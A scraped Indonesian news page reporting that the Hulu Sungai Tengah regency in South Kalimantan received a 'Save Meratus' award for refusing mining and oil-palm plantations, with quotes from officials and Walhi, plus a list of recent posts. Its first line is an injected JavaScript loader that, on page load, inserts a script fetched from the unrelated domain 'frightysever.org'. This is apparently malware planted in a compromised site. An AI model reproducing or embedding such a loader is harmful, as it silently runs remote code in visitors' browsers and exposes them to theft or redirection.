(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Penghargaan Save Meratus Dapat Apresiasi Banyak Pihak


BANJARMASIN, Atas kinerja Pemkab Hulu Sungai Tengah (HST) menyelamatkan kawasan Meratus, LKBN Antara mengapresiasi dengan ‘Penghargaan Save Meratus’. Penghargaan itu terkait dukungan dan perhatian pemerintah dalam melindungi paruh-paruh utama Kalsel tersebut.

Gubernur Kalsel Sahbirin Noor pun tidak lewat memberikan pujian kepada pemerintah HST maupun seluruh pemerintah daerah yang terlibat menjaga kawasan Meratus.

Selama ini HST memang dikenal kabupaten yang getol menolak tambang fan perkebunan sawit. Meskipun hal ini bukan hal yang populer bagi kebijakan daerah yang ingin cenderung cepat kaya dari dua bisnis tersebut. Terkait hal ini, Plt Bupati HST Drs HA Chairansyah mengatakan pemerintahannya tetap konsisten di jalan itu. “Tidak juga berat bagi kami. Artinya, kalau ada orang yang bilang ‘pak kami mau batubara’, jangan dulu. Soalnya kebijakan kami seperti ini,” jelasnya.

Sejauh ini, Plt Bupati yang dijuluki sebagai Mbah Marijannya Kalsel ini mengaku pihak pemerintahan HST tidak mendapat tekanan atas kebijakan yang ada sekarang ini. Dengan adanya kebijakan ini, mereka akan terus berusaha agar terus menjaga Meratus dan melakukan penanaman kembali terhadap lahan-lahan yang tandus.

Melihat Gubernur provinsi Kalsel yang mendapat penghargaan Revolusi Hijau, ia meyakini bahwa ini juga sebuah bentuk langkah dari gubernur dalam ikut menjaga kawasan Meratus.

Sementara itu, Ketua Walhi Kalsel, Kisworo Dwi Cahyono mengapresiasi dan mengatakan bahwa H. A. Chairansyah memang layak untuk mendapat penghargaan “Save Meratus” ini. “Apalagi kita tahu Meratus yang ada di Kalsel ini harus diselamatkan. Salah satu yang berkomitmen adalah kepala daerah di HST.  Sangat layak dan wajar beliau mendapat penghargaan itu,” ucapnya.

Kisworo juga mengatakan bahwa HST yang merupakan satu-satunya kabupaten/kota di Kalsel yang tidak memperbolehkan tambang dan perkebunan sawit beroperasi ini merupakan salah satu bentuk langkah yang luar biasa dari kepala daerah untuk keselamatan rakyat dan lingkunganyang patut diapresiasi. (mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

10 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

10 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

11 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

11 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

11 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

13 jam ago

This website uses cookies.